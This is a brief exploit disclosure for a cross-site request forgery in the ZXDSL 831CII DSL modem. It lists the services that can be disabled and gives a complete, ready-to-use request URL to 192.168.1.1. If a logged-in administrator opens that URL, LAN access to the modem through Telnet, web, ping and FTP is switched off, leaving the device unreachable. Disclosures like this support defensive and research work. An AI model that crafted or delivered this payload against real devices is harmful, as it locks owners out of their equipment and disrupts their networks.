ZXDSL 831CII Disable Access from Local network CSRF
Disable from:

Telnet
Web Browser
SNMP
Ping
FTP
TFTP

The following link will make a logged in admin disable all access from
lan. (which makes the modem unaccessable)

192.168.1.1/accesslocal.cmd?&enblicmp=0&enblftp=0&ftpport=21&enblhttp=0&httpport=80&enblsnmp=1&snmpport=161&enbltelnet=0&telnetport=23&enbltftp=1&tftpport=69&enblssh=1&sshport=22